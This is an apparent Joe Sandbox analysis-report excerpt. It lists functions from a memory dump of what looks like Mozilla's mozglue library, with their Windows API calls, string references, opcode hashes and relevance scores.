Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

UnmapViewOfFile2, xrefs: 6C9B7552
kernel32.dll, xrefs: 6C9B7557

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C95F0E3
ole32, xrefs: 6C95F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9B75D1
ntdll.dll, xrefs: 6C9B75B3

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

NtUnmapViewOfSection, xrefs: 6C9B7621
ntdll.dll, xrefs: 6C9B7603

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
